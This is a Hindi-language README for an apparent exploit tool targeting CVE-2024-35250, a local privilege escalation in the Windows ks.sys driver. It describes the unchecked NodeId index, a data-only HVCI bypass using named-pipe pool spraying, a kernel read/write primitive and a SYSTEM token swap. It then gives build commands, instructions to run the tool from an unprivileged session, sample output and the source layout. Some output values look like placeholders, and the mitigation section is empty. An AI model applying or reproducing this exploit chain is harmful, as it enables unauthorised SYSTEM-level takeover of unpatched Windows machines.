CVE-2024-35250

विंडोज कर्नेल स्ट्रीमिंग ड्राइवर (ks.sys) में अविश्वसनीय पॉइंटर डीरेफरेंस के माध्यम से स्थानीय विशेषाधिकार वृद्धि। डेटा-ओनली एक्सप्लॉइट — हाइपरविजर-संरक्षित कोड अखंडता (HVCI) को बायपास करता है।

सारांश

भेद्यता

ks!KspPropertyHandler टोपोलॉजी-स्तरीय संपत्ति अनुरोधों को KspProcessPropertyNode के माध्यम से भेजता है। उपयोगकर्ता-आपूर्ति किए गए KSP_NODE संरचना से NodeId फ़ील्ड का उपयोग आंतरिक ऑटोमेशन तालिका सरणी में सीमा सत्यापन के बिना अनुक्रमणिका के रूप में किया जाता है:

NtDeviceIoControlFile
  ks!CKSFilter::DispatchDeviceIoControl
    ks!KspPropertyHandler
      ks!KspProcessPropertyNode
        *(automationTable + NodeId * stride)   <-- हमलावर-नियंत्रित

एक क्राफ्टेड NodeId जो वास्तविक नोड गणना से अधिक है, डीरेफरेंस को आसन्न पूल मेमोरी पर रीडायरेक्ट करता है, जिससे आउट-ऑफ-बाउंड रीड/राइट प्रिमिटिव मिलता है।

HVCI बायपास

एक्सप्लॉइट विशेष रूप से कर्नेल डेटा संरचनाओं में हेरफेर करता है:

1. NtQuerySystemInformation के माध्यम से EPROCESS पता लीक करें
2. मनमाना कर्नेल R/W बनाने के लिए भेद्यता को ट्रिगर करें
3. PID 4 (System) का पता लगाने के लिए ActiveProcessLinks पर चलें
4. वर्तमान प्रक्रिया टोकन को System टोकन से ओवरराइट करें
5. उन्नत शेल स्पॉन करें

कोई शेलकोड इंजेक्ट नहीं किया गया है। कोई अहस्ताक्षरित कोड पेज बनाए या निष्पादित नहीं किए गए हैं। कोई नियंत्रण-प्रवाह पॉइंटर हाईजैक नहीं किया गया है।

बिल्ड

आवश्यकताएँ

• Visual Studio 2019 / 2022
• Windows SDK 10.0.19041.0+

कंपाइल

1. Visual Studio में hvcipwned.sln खोलें
2. Release | x64 चुनें
3. Build → Build Solution (Ctrl+Shift+B)

आउटपुट बाइनरी: x64\Release\hvcipwned.exe

मैनुअल cl.exe बिल्ड

cl.exe /nologo /W4 /O2 /TC ^
    main.c device.c leak.c krw.c token.c exploit.c ^
    /I ^
    /Fe:exploit.exe ^
    /link setupapi.lib kernel32.lib advapi32.lib

उपयोग

hvcipwned.exe

भेद्य (अपैच्ड) सिस्टम पर एक अनप्रिविलेज्ड उपयोगकर्ता सत्र से चलाएँ। सफल होने पर एक नई cmd.exe विंडो NT AUTHORITY\SYSTEM के रूप में चलती हुई खुलेगी।

अपेक्षित आउटपुट

[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)

press enter to exit...

प्रोजेक्ट संरचना

hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h         - प्रकार, लॉग मैक्रोज, nt एपीआई टाइपडेफ्स
├── offsets.h        - प्रति-बिल्ड eprocess फ़ील्ड ऑफसेट
├── device.h         - ks डिवाइस एनुमरेशन
├── leak.h           - कर्नेल पता लीक
├── krw.h            - r/w प्रिमिटिव संदर्भ
├── token.h          - टोकन स्वैप + शेल स्पॉन
└── exploit.h        - शीर्ष-स्तरीय प्रवेश
├── main.c           - प्रवेश बिंदु
├── device.c         - setupapi डिवाइस खोलें
├── leak.c           - NtQuerySystemInformation लीक
├── krw.c            - भेद्यता ट्रिगर + पूल स्प्रे + r/w
├── token.c          - eprocess वॉक + टोकन ओवरराइट
└── exploit.c        - ऑर्केस्ट्रेशन

समर्थित बिल्ड

RtlGetVersion के माध्यम से रनटाइम पर ऑफसेट स्वचालित रूप से हल किए जाते हैं।

नोट्स

• टोपोलॉजी नोड्स वाले KS फ़िल्टर डिवाइस की आवश्यकता है (ऑडियो डिवाइस काम करते हैं)
• पूल स्प्रे की सफलता सिस्टम मेमोरी दबाव और समय पर निर्भर करती है
• एक्सप्लॉइट पूल फेंग शुई के लिए नामित पाइप विशेषताओं का उपयोग करता है
• विशेषाधिकार वृद्धि प्रदर्शित करने के लिए सामान्य (गैर-व्यवस्थापक) उपयोगकर्ता के रूप में चलाएँ
• पूल लेआउट यादृच्छिकता के कारण कई प्रयासों की आवश्यकता हो सकती है

शमन

संदर्भ

• Microsoft सलाह
• KB5039212 पैच नोट्स
• DEVCORE — Pwn2Own Vancouver 2024
• varwara/CVE-2024-35250

अस्वीकरण

यह प्रोजेक्ट केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।

लाइसेंस

MIT